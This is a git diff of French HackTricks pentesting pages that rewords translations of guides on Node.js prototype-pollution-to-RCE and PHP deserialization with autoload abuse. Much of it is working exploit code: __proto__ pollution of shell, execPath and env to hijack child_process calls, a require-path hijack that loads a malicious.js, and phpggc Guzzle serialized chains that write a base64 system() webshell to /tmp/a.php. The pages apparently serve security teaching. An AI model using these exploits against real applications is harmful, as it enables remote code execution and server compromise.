@ -289,15 +285,11 @@ b = {}
|
|||
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
|
||||
var proc = fork('./a_file.js');
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong><code>spawn</code> exploitation</strong></summary>
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
// environ trick - working with small variation (shell and argv0)
|
||||
// NOT working after kEmptyObject (fix) without options
|
||||
|
@ -334,15 +326,11 @@ p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
|
|||
var proc = spawn('something');
|
||||
//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong><code>execFileSync</code> exploitation</strong></summary>
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
// environ trick - working with small variation (shell and argv0)
|
||||
// Working after kEmptyObject (fix)
|
||||
|
@ -381,15 +369,11 @@ p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
|
|||
p.__proto__.argv0 = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
|
||||
var proc = execSync('something');
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong><code>execSync</code> exploitation</strong></summary>
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
// environ trick - working with small variation (shell and argv0)
|
||||
// Working after kEmptyObject (fix)
|
||||
|
@ -427,15 +411,11 @@ p = {}
|
|||
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
|
||||
var proc = execSync('something');
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong><code>spawnSync</code> exploitation</strong></summary>
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
// environ trick - working with small variation (shell and argv0)
|
||||
// NOT working after kEmptyObject (fix) without options
|
||||
|
@ -483,20 +463,20 @@ var proc = spawnSync('something');
|
|||
|
||||
</details>
|
||||
|
||||
## Forcer le Spawn
|
||||
## Forcing Spawn
|
||||
|
||||
Dans les exemples précédents, vous avez vu comment déclencher le gadget, une fonctionnalité qui **appelle `spawn`** doit être **présente** (toutes les méthodes de **`child_process`** utilisées pour exécuter quelque chose l'appellent). Dans l'exemple précédent, cela faisait **partie du code**, mais que se passe-t-il si le code **ne l'appelle pas**.
|
||||
Dans les exemples précédents, vous avez vu comment déclencher la fonctionnalité d'un gadget qui **appelle `spawn`** nécessite qu'une **fonctionnalité soit présente** (toutes les méthodes de **`child_process`** utilisées pour exécuter quelque chose l'appellent). Dans l'exemple précédent, cela faisait **partie du code**, mais que se passe-t-il si le code ne l'appelle pas.
|
||||
|
||||
### Contrôler un chemin de fichier require
|
||||
### Contrôler un chemin de fichier requis
|
||||
|
||||
Dans ce [**autre article**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) l'utilisateur peut contrôler le chemin du fichier où un **`require`** sera exécuté. Dans ce scénario, l'attaquant doit juste **trouver un fichier `.js` dans le système** qui **exécutera une méthode spawn lors de l'importation.**\
|
||||
Quelques exemples de fichiers communs appelant une fonction spawn lors de l'importation sont :
|
||||
Dans ce [**autre article**](https://blog.sonarsource.com/blitzjs-prototype-pollution/), l'utilisateur peut contrôler le chemin du fichier où un **`require`** sera exécuté. Dans ce scénario, l'attaquant doit simplement **trouver un fichier `.js` à l'intérieur du système** qui **exécutera une méthode spawn lors de son importation.**\
|
||||
Certains exemples de fichiers courants appelant une fonction spawn lors de leur importation sont :
|
||||
|
||||
* /path/to/npm/scripts/changelog.js
|
||||
* /chemin/vers/npm/scripts/changelog.js
|
||||
* /opt/yarn-v1.22.19/preinstall.js
|
||||
* Trouvez **plus de fichiers ci-dessous**
|
||||
|
||||
Le script simple suivant recherchera des **appels** de **child\_process** **sans aucun padding** (pour éviter d'afficher des appels à l'intérieur de fonctions) :
|
||||
Le script simple suivant recherchera les **appels** de **child\_process** **sans aucun remplissage** (pour éviter d'afficher les appels à l'intérieur des fonctions):
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -505,6 +485,8 @@ grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileS
|
|||
done
|
||||
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Fichiers intéressants trouvés par le script précédent</summary>
|
||||
|
@ -521,24 +503,24 @@ done
|
|||
|
||||
</details>
|
||||
|
||||
### Définir le chemin du fichier requis via la pollution de prototype
|
||||
### Définition du chemin du fichier requis via la pollution de prototype
|
||||
|
||||
{% hint style="warning" %}
|
||||
La **technique précédente nécessite** que **l'utilisateur contrôle le chemin du fichier** qui va être **requis**. Mais ce n'est pas toujours le cas.
|
||||
La **technique précédente nécessite** que **l'utilisateur contrôle le chemin du fichier** qui va être **requis**. Mais ce n'est pas toujours vrai.
|
||||
{% endhint %}
|
||||
|
||||
Cependant, si le code doit exécuter un require après la pollution de prototype, même si vous **ne contrôlez pas le chemin** qui va être requis, vous **pouvez forcer un chemin différent en abusant de la pollution de prototype**. Donc, même si la ligne de code est comme `require("./a_file.js")` ou `require("bytes")`, il **requerra le package que vous avez pollué**.
|
||||
Cependant, si le code doit exécuter un require après la pollution de prototype, même si vous **ne contrôlez pas le chemin** qui va être requis, vous **pouvez forcer un autre en abusant de la pollution de prototype**. Ainsi, même si la ligne de code est `require("./a_file.js")` ou `require("bytes")`, elle **requerra le package que vous avez pollué**.
|
||||
|
||||
Par conséquent, si un require est exécuté après votre pollution de prototype et aucune fonction spawn, voici l'attaque :
|
||||
Par conséquent, si un require est exécuté après votre pollution de prototype et qu'il n'y a pas de fonction spawn, voici l'attaque :
|
||||
|
||||
* Trouver un fichier **`.js` dans le système** qui, lorsqu'il est **requis**, **exécutera quelque chose en utilisant `child_process`**
|
||||
* Si vous pouvez télécharger des fichiers sur la plateforme que vous attaquez, vous pourriez télécharger un fichier de ce type
|
||||
* Polluer les chemins pour **forcer le chargement du fichier `.js`** qui exécutera quelque chose avec child\_process
|
||||
* **Polluer l'environ/cmdline** pour exécuter du code arbitraire lorsqu'une fonction d'exécution child\_process est appelée (voir les techniques initiales)
|
||||
* Trouvez un **fichier `.js` dans le système** qui, lorsqu'il est **requis**, **exécutera quelque chose en utilisant `child_process`**
|
||||
* Si vous pouvez télécharger des fichiers sur la plateforme que vous attaquez, vous pouvez télécharger un fichier de ce type
|
||||
* Polluez les chemins pour **forcer le chargement du fichier `.js`** qui exécutera quelque chose avec `child_process`
|
||||
* **Polluez l'environnement/cmdline** pour exécuter du code arbitraire lorsqu'une fonction d'exécution `child_process` est appelée (voir les techniques initiales)
|
||||
|
||||
#### Require absolu
|
||||
|
||||
Si le require effectué est **absolu** (`require("bytes")`) et que le **package ne contient pas main** dans le fichier `package.json`, vous pouvez **polluer l'attribut `main`** et faire en sorte que le **require exécute un fichier différent**.
|
||||
Si le require effectué est **absolu** (`require("bytes")`) et que le **package ne contient pas de main** dans le fichier `package.json`, vous pouvez **polluer l'attribut `main`** et faire en sorte que le **require exécute un fichier différent**.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="exploit" %}
|
||||
|
@ -568,12 +550,10 @@ clone(USERINPUT);
|
|||
var proc = require('bytes');
|
||||
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
|
||||
```
|
||||
```markdown
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="malicious.js" %}
|
||||
```
|
||||
```javascript
|
||||
const { fork } = require('child_process');
|
||||
console.log("Hellooo from malicious");
|
||||
|
@ -582,13 +562,9 @@ fork("anything");
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
#### Relative require - 1
|
||||
#### Require relatif - 1
|
||||
|
||||
Si un **chemin relatif** est chargé au lieu d'un chemin absolu, vous pouvez faire en sorte que node **charge un chemin différent** :
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="exploit" %}
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
// Create a file called malicious.js in /tmp
|
||||
// Contents of malicious.js in the other tab
|
||||
|
@ -612,12 +588,10 @@ clone(USERINPUT);
|
|||
var proc = require('./relative_path.js');
|
||||
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
|
||||
```
|
||||
```markdown
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="malicious.js" %}
|
||||
```
|
||||
```javascript
|
||||
const { fork } = require('child_process');
|
||||
console.log("Hellooo from malicious");
|
||||
|
@ -626,11 +600,10 @@ fork('/path/to/anything');
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
#### Relative require - 2
|
||||
#### Require relatif - 2
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="exploit" %}
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
// Create a file called malicious.js in /tmp
|
||||
// Contents of malicious.js in the other tab
|
||||
|
@ -656,23 +629,18 @@ clone(USERINPUT);
|
|||
var proc = require('./relative_path.js');
|
||||
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
|
||||
```
|
||||
```markdown
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="malicious.js" %}
|
||||
```
|
||||
```javascript
|
||||
const { fork } = require('child_process');
|
||||
console.log("Hellooo from malicious");
|
||||
fork('/path/to/anything');
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
#### Relative require - 3
|
||||
|
||||
Similaire au précédent, cela a été trouvé dans [**ce compte-rendu**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs).
|
||||
Similaire au précédent, celui-ci a été trouvé dans [**cette publication**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs).
|
||||
```javascript
|
||||
// Requiring /opt/yarn-v1.22.19/preinstall.js
|
||||
Object.prototype["data"] = {
|
||||
|
@ -691,19 +659,19 @@ Object.prototype.env = {
|
|||
|
||||
require('./usage.js')
|
||||
```
|
||||
## VM Gadgets
|
||||
## Gadgets de la machine virtuelle
|
||||
|
||||
Dans le papier [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf), il est également indiqué que le contrôle de **`contextExtensions`** de certaines méthodes de la bibliothèque **`vm`** pourrait être utilisé comme un gadget.\
|
||||
Dans le document [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf), il est également indiqué que le contrôle de **`contextExtensions`** à partir de certaines méthodes de la bibliothèque **`vm`** pourrait être utilisé comme gadget.\
|
||||
Cependant, comme les méthodes précédentes de **`child_process`**, cela a été **corrigé** dans les dernières versions.
|
||||
|
||||
## Corrections & Protections inattendues
|
||||
## Corrections et protections inattendues
|
||||
|
||||
Veuillez noter que la pollution de prototype fonctionne si l'**attribut** d'un objet qui est accédé est **undefined**. Si dans le **code** cet **attribut** a une **valeur définie**, vous **ne pourrez pas le remplacer**.
|
||||
Veuillez noter que la pollution de prototype fonctionne si l'**attribut** d'un objet qui est accédé est **indéfini**. Si dans le **code** cet **attribut** est **défini** avec une **valeur**, vous **ne pourrez pas l'écraser**.
|
||||
|
||||
En juin 2022 à partir de [**ce commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a), la variable `options` au lieu d'un `{}` est un **`kEmptyObject`**. Ce qui **empêche une pollution de prototype** d'affecter les **attributs** de **`options`** pour obtenir un RCE.\
|
||||
Au moins à partir de la version 18.4.0, cette protection a été **mise en œuvre**, et par conséquent, les **exploits** de `spawn` et `spawnSync` affectant les méthodes **ne fonctionnent plus** (si aucune `options` n'est utilisée !).
|
||||
En juin 2022, à partir de [**ce commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a), la variable `options` au lieu de `{}` est un **`kEmptyObject`**. Ce qui **empêche une pollution de prototype** d'affecter les **attributs** de **`options`** pour obtenir une RCE.\
|
||||
Au moins à partir de la version 18.4.0, cette protection a été **implémentée**, et donc les **exploits** `spawn` et `spawnSync` affectant les méthodes **ne fonctionnent plus** (si aucune `options` n'est utilisée!).
|
||||
|
||||
Dans [**ce commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9), la **pollution de prototype** de **`contextExtensions`** de la bibliothèque vm a été **également en quelque sorte corrigée** en définissant les options sur **`kEmptyObject`** au lieu de **`{}`.**
|
||||
Dans [**ce commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9), la **pollution de prototype** de **`contextExtensions`** de la bibliothèque vm a été **également corrigée** en définissant les options sur **`kEmptyObject`** au lieu de **`{}`.**
|
||||
|
||||
### **Autres Gadgets**
|
||||
|
||||
|
@ -718,14 +686,14 @@ Dans [**ce commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156c
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,31 +1,31 @@
|
|||
# PHP - Désérialisation + Classes Autoload
|
||||
# PHP - Désérialisation + Chargement automatique des classes
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs exclusifs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
D'abord, vous devriez vérifier ce que sont les [**Classes Autoload**](https://www.php.net/manual/en/language.oop5.autoload.php).
|
||||
Tout d'abord, vous devriez vérifier ce que sont les [**Classes de chargement automatique**](https://www.php.net/manual/en/language.oop5.autoload.php).
|
||||
|
||||
## Désérialisation PHP + spl\_autoload\_register + LFI/Gadget
|
||||
## PHP désérialisation + spl\_autoload\_register + LFI/Gadget
|
||||
|
||||
Nous sommes dans une situation où nous avons trouvé une **désérialisation PHP dans une webapp** sans aucune bibliothèque vulnérable aux gadgets à l'intérieur de **`phpggc`**. Cependant, dans le même conteneur, il y avait une **différente webapp composer avec des bibliothèques vulnérables**. Par conséquent, l'objectif était de **charger le chargeur de composer de l'autre webapp** et de l'exploiter pour **charger un gadget qui exploitera cette bibliothèque avec un gadget** de la webapp vulnérable à la désérialisation.
|
||||
Nous sommes dans une situation où nous avons trouvé une **désérialisation PHP dans une application web** sans bibliothèque vulnérable aux gadgets à l'intérieur de **`phpggc`**. Cependant, dans le même conteneur, il y avait une **autre application web composer avec des bibliothèques vulnérables**. Par conséquent, l'objectif était de **charger le chargeur composer de l'autre application web** et de l'exploiter pour **charger un gadget qui exploitera cette bibliothèque avec un gadget** de l'application web vulnérable à la désérialisation.
|
||||
|
||||
Étapes :
|
||||
|
||||
* Vous avez trouvé une **désérialisation** et il **n'y a aucun gadget** dans le code de l'application actuelle
|
||||
* Vous pouvez abuser d'une fonction **`spl_autoload_register`** comme la suivante pour **charger n'importe quel fichier local avec l'extension `.php`**
|
||||
* Pour cela, vous utilisez une désérialisation où le nom de la classe va être à l'intérieur de **`$name`**. Vous **ne pouvez pas utiliser "/" ou "."** dans un nom de classe dans un objet sérialisé, mais le **code** remplace les **underscores** ("\_") **par des slashes** ("/"). Ainsi, un nom de classe tel que `tmp_passwd` sera transformé en `/tmp/passwd.php` et le code essaiera de le charger.\
|
||||
Un **exemple de gadget** sera : **`O:10:"tmp_passwd":0:{}`**
|
||||
* Vous avez trouvé une **désérialisation** et il n'y a **aucun gadget** dans le code de l'application actuelle
|
||||
* Vous pouvez abuser d'une fonction **`spl_autoload_register`** comme suit pour **charger n'importe quel fichier local avec l'extension `.php`**
|
||||
* Pour cela, vous utilisez une désérialisation où le nom de la classe va être à l'intérieur de **`$name`**. Vous **ne pouvez pas utiliser "/" ou "."** dans un nom de classe dans un objet sérialisé, mais le **code** remplace les **tirets bas** ("\_") par des barres obliques ("/"). Ainsi, un nom de classe tel que `tmp_passwd` sera transformé en `/tmp/passwd.php` et le code tentera de le charger.\
|
||||
Un **exemple de gadget** serait : **`O:10:"tmp_passwd":0:{}`**
|
||||
```php
|
||||
spl_autoload_register(function ($name) {
|
||||
|
||||
|
@ -48,16 +48,16 @@ require __DIR__ . $filename;
|
|||
});
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Si vous avez un **téléchargement de fichier** et pouvez télécharger un fichier avec l'extension **`.php`**, vous pourriez **abuser directement de cette fonctionnalité** et obtenir un RCE immédiatement.
|
||||
Si vous avez un **téléchargement de fichier** et pouvez télécharger un fichier avec une extension **`.php`**, vous pourriez **abuser directement de cette fonctionnalité** et obtenir déjà une RCE.
|
||||
{% endhint %}
|
||||
|
||||
Dans mon cas, je n'avais rien de tel, mais il y avait dans le **même conteneur** une autre page web composer avec une **bibliothèque vulnérable à un gadget `phpggc`**.
|
||||
Dans mon cas, je n'avais rien de tel, mais il y avait à l'intérieur du **même conteneur** une autre page web du compositeur avec une **bibliothèque vulnérable à un gadget `phpggc`**.
|
||||
|
||||
* Pour charger cette autre bibliothèque, vous devez d'abord **charger le chargeur de composer de cette autre application web** (car celui de l'application actuelle n'accédera pas aux bibliothèques de l'autre.) **Connaissant le chemin de l'application**, vous pouvez réaliser cela très facilement avec : **`O:28:"www_frontend_vendor_autoload":0:{}`** (Dans mon cas, le chargeur de composer était dans `/www/frontend/vendor/autoload.php`)
|
||||
* Maintenant, vous pouvez **charger le chargeur de composer de l'autre application**, il est donc temps de **`générer le payload phpgcc`** à utiliser. Dans mon cas, j'ai utilisé **`Guzzle/FW1`**, qui me permettait **d'écrire n'importe quel fichier dans le système de fichiers**.
|
||||
* NOTE : Le **gadget généré ne fonctionnait pas**, pour qu'il fonctionne, j'ai **modifié** ce payload **`chain.php`** de phpggc et mis **tous les attributs** des classes **de privé à public**. Sinon, après la désérialisation de la chaîne, les attributs des objets créés n'avaient aucune valeur.
|
||||
* Maintenant, nous avons le moyen de **charger le chargeur de composer de l'autre application** et avons un **payload phpggc qui fonctionne**, mais nous devons **faire cela dans la MÊME REQUÊTE pour que le chargeur soit chargé lorsque le gadget est utilisé**. Pour cela, j'ai envoyé un tableau sérialisé avec les deux objets comme :
|
||||
* Vous pouvez voir **d'abord le chargeur se charger puis le payload**
|
||||
* Pour charger cette autre bibliothèque, vous devez d'abord **charger le chargeur compositeur de cette autre application web** (car celui de l'application actuelle n'accédera pas aux bibliothèques de l'autre). **Connaissant le chemin de l'application**, vous pouvez y parvenir très facilement avec : **`O:28:"www_frontend_vendor_autoload":0:{}`** (Dans mon cas, le chargeur compositeur était dans `/www/frontend/vendor/autoload.php`)
|
||||
* Maintenant, vous pouvez **charger** le **chargeur compositeur de l'autre application**, il est donc temps de **`générer le payload phpgcc`** à utiliser. Dans mon cas, j'ai utilisé **`Guzzle/FW1`**, ce qui m'a permis de **écrire n'importe quel fichier dans le système de fichiers**.
|
||||
* REMARQUE : Le **gadget généré ne fonctionnait pas**, pour qu'il fonctionne, j'ai **modifié** ce payload **`chain.php`** de phpggc et j'ai défini **tous les attributs** des classes **de privé à public**. Sinon, après la désérialisation de la chaîne, les attributs des objets créés n'avaient aucune valeur.
|
||||
* Maintenant, nous avons le moyen de **charger le chargeur compositeur de l'autre application** et d'avoir un **payload phpggc qui fonctionne**, mais nous devons **faire cela dans la MÊME REQUÊTE pour que le chargeur soit chargé lorsque le gadget est utilisé**. Pour cela, j'ai envoyé un tableau sérialisé avec les deux objets comme suit :
|
||||
* Vous pouvez voir **d'abord le chargeur être chargé puis le payload**
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```php
|
||||
|
@ -65,7 +65,7 @@ a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"Guzz
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
* Maintenant, nous pouvons **créer et écrire un fichier**, cependant, l'utilisateur **ne pouvait pas écrire dans n'importe quel dossier à l'intérieur du serveur web**. Donc, comme vous pouvez le voir dans le payload, PHP appelant **`system`** avec du **base64** est créé dans **`/tmp/a.php`**. Ensuite, nous pouvons **réutiliser le premier type de payload** que nous avons utilisé comme LFI pour charger le chargeur de composer de l'autre application web **pour charger le fichier `/tmp/a.php` généré**. Ajoutez-le simplement au gadget de désérialisation : 
|
||||
* Maintenant, nous pouvons **créer et écrire un fichier**, cependant, l'utilisateur **ne pouvait pas écrire dans n'importe quel dossier à l'intérieur du serveur web**. Ainsi, comme vous pouvez le voir dans la charge utile, PHP appelle **`system`** avec du **base64** est créé dans **`/tmp/a.php`**. Ensuite, nous pouvons **réutiliser le premier type de charge utile** que nous avons utilisé comme LFI pour charger le chargeur du compositeur de l'autre application web **pour charger le fichier `/tmp/a.php`** généré. Il suffit de l'ajouter au gadget de désérialisation: 
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```php
|
||||
|
@ -73,25 +73,25 @@ a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"Guzz
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
**Résumé du payload**
|
||||
**Résumé de la charge utile**
|
||||
|
||||
* **Charger l'autoloader de composer** d'une autre application web dans le même conteneur
|
||||
* **Charger un gadget phpggc** pour exploiter une bibliothèque de l'autre application web (l'application web initialement vulnérable à la désérialisation n'avait aucun gadget dans ses bibliothèques)
|
||||
* Le gadget va **créer un fichier avec un payload PHP** dedans dans /tmp/a.php avec des commandes malveillantes (l'utilisateur de l'application web ne peut pas écrire dans aucun dossier de l'application web)
|
||||
* La partie finale de notre payload utilisera **charger le fichier php généré** qui exécutera des commandes
|
||||
* **Charger l'autoload du compositeur** d'une autre application web dans le même conteneur
|
||||
* **Charger un gadget phpggc** pour abuser d'une bibliothèque de l'autre application web (l'application web initialement vulnérable à la désérialisation ne possédait aucun gadget dans ses bibliothèques)
|
||||
* Le gadget va **créer un fichier avec une charge utile PHP** en /tmp/a.php avec des commandes malveillantes (l'utilisateur de l'application web ne peut pas écrire dans un dossier de n'importe quelle application web)
|
||||
* La partie finale de notre charge utile utilisera **le chargement du fichier PHP généré** qui exécutera des commandes
|
||||
|
||||
J'ai dû **appeler cette désérialisation deux fois**. Lors de mes tests, la première fois le fichier `/tmp/a.php` a été créé mais pas chargé, et la deuxième fois, il a été correctement chargé.
|
||||
J'ai dû **appeler cette désérialisation deux fois**. Dans mes tests, la première fois le fichier `/tmp/a.php` a été créé mais pas chargé, et la deuxième fois il a été correctement chargé.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,18 +2,18 @@
|
|||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
D'autres façons de soutenir HackTricks :
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
